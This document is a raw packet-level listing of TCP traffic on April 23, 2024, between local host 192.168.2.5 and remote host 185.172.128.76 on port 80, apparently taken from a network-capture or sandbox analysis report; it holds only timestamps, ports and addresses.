Apr 23, 2024 09:32:57.004847050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004858017 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004884005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004885912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004920006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004925013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004955053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004956007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004990101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004997015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005024910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005028009 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005060911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005067110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005095959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005105019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005131960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005136967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005168915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005173922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005206108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005212069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005242109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005245924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005278111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005287886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005312920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005331039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005348921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005354881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005383968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005388975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005419016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005430937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005454063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005459070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005491018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005492926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005527020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005532980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005562067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005568981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005595922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005604982 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005631924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005636930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005669117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005676031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005706072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005713940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005740881 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005753040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005775928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005781889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005811930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005819082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005847931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005861998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005883932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005893946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005919933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005934000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005955935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005969048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.005991936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.005997896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006026983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006031990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006062031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006067991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006095886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006102085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006131887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006139040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006166935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006172895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006201982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006207943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006237030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006244898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006272078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006282091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006309032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006318092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006342888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006346941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006378889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006383896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006413937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006427050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006450891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006458044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006485939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006491899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006521940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006530046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006560087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006561041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006596088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006601095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006632090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006638050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006669044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006670952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006705046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006714106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006741047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006745100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006777048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006779909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006812096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006819010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006846905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006853104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006881952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006885052 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006918907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006923914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.006953955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.006959915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.007005930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.007013083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.007042885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.007047892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.007077932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.007086992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.007113934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.007118940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.007149935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.007157087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.007186890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.007191896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.007222891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.007227898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.007258892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.007261038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.007294893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.007297039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.007332087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.007337093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.007369041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.007374048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.007406950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213046074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213107109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213148117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213176012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213184118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213202953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213221073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213257074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213270903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213293076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213314056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213327885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213356018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213367939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213381052 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213404894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213462114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213471889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213489056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213535070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213545084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213572025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213582993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213608980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213627100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213645935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213659048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213682890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213696957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213717937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213733912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213752985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213773966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213788986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213804960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213824034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213840961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213860035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213872910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213896036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213911057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213931084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213944912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.213967085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.213983059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214003086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214016914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214039087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214051962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214075089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214083910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214111090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214123964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214145899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214158058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214180946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214190006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214216948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214235067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214251995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214272022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214287043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214294910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214322090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214344025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214356899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214370012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214391947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214404106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214427948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214438915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214464903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214474916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214500904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214524984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214536905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214556932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214574099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214590073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214608908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214621067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214647055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214658022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214683056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214695930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214718103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214730024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214754105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214765072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214790106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214807034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214826107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214839935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214860916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214874029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214896917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214907885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214931965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214947939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.214967966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.214977980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215003014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215015888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215039015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215044975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215075016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215085983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215111971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215122938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215147972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215161085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215183020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215192080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215218067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215230942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215257883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215262890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215292931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215303898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215327978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215337992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215363026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215382099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215399027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215416908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215435028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215444088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215472937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215482950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215508938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215523005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215545893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215559006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215581894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215591908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215616941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215627909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215652943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215666056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215689898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215702057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215725899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215733051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215761900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215774059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215797901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215806961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215832949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215845108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215868950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215878963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215904951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215913057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215940952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215958118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.215976000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.215989113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216012001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216026068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216048956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216059923 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216084003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216097116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216134071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216142893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216182947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216197014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216218948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216233015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216254950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216264963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216289997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216301918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216325998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216336012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216361046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216372967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216398001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216409922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216433048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216445923 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216469049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216484070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216504097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216516018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216541052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216558933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216576099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216590881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216613054 CEST	80	49704	185.172.128.76	192.168.2.5
